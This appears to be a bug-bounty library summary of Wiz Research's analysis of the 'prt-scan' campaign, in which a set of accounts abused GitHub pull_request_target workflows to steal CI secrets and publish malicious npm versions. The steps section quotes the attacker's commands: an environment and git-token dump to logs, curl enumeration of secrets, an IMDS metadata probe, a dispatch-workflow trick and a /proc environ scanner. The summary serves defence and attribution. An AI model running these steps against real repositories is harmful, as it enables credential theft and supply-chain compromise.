# Six Accounts, One Actor: Inside the prt-scan Supply Chain Campaign

Automated campaign abused pull_request_target workflows across 500+ GitHub PRs to steal CI secrets, compromising two npm packages and leaking AWS/Cloudflare/Netlify tokens.

- Payout: Real-world hack
- Severity: high
- Program: GitHub Actions
- Credited: Wiz Research
- Disclosed: 2026-04-04
- Write-up quality: 8/10
- Original: https://www.wiz.io/blog/six-accounts-one-actor-inside-the-prt-scan-supply-chain-campaign
- Library page: https://bugbountylibrary.com/r/blog%3Awiz-io-blog-six-accounts-one-actor-inside-the-prt-scan-supply-chain-campaign
- Tags: domain:infra impact:data-leak impact:integrity kind:incident platform:threat-intel sev:high tech:github-actions tech:nodejs technique:chained technique:recon vuln:secrets-leak

**Target:** GitHub Actions pull_request_target workflows and CI injection files (conftest.py, package.json, Makefile, build.rs, action.yml)
**Root cause:** pull_request_target runs fork PRs in the base repo context with secrets exposed; attacker injects code into files executed by CI (test configs, build scripts, npm hooks) to run in that privileged context.
**Steps:**
1. Search GitHub for repos using `pull_request_target` in workflows
2. Fork target repo, create branch `prt-scan-{12-hex}`
3. Inject payload into CI-executed file: `conftest.py`, `package.json` scripts, `Makefile`, `build.rs`, `action.yml`
4. Open PR titled `ci: update build configuration` with body `Automated build configuration update.`
5. EXFIL: `(env; echo "PRT_GIT_AUTH=$(git config --get-all http.https://github.com/.extraheader)") | gzip -c | base64` printed between `==PRT_EXFIL_START_<nonce>==` markers
6. RECON: `curl -H "Authorization: Bearer $__PRT_TK" $API/repos/$REPO/actions/secrets` and probe `http://169.254.169.254/latest/meta-data/iam/`
7. DISPATCH: PUT temp workflow referencing parsed `secrets.XXX` refs to default branch, then POST `/actions/workflows/.prt_tmp_<nonce>.yml/dispatches`
8. DELAYED: background daemon scans `/proc/*/environ` every 2s for 10min for keys like AWS_SECRET, NPM_TOKEN, then posts base64 blob to PR comments
**How found:** Wiz Research traced the publicly reported ezmtebo wave back through shared TTPs (prt-scan- branch prefix, identical PR title/body, python-requests/2.32.5 UA, plus-addressed proton.me emails) to six earlier accounts starting March 11, then analyzed 450+ payloads to map the five-phase structure.
**Exploitation:** Attacker forks repos with pull_request_target workflows and submits PRs injecting code into CI-executed files; the privileged workflow runs the payload, dumping env vars and the git extraheader token to logs, enumerating secret names, probing IMDS, and attempting to push a dispatch workflow to read secret values. Stolen NPM_TOKEN was used to publish malicious versions of @codfish/eslint-config and @codfish/actions (106 versions); AWS keys, Cloudflare and Netlify tokens were captured via logs and PR comments.
**Escalation:** Chained EXFIL token theft into RECON secret enumeration, DISPATCH workflow creation for secret-value capture, and DELAYED /proc scanning to catch secrets loaded later by e2e steps; NPM_TOKEN led to publishing malicious package versions.
**Insight:** Plus-addressed emails (testedbefore+89@, elzotebo+88@) and identical branch prefixes/PR titles link sock-puppet accounts across waves; and a background /proc/*/environ scanner catches secrets injected into later job steps that the initial env dump misses, exfiltrating via PR comments which survive log deletion.
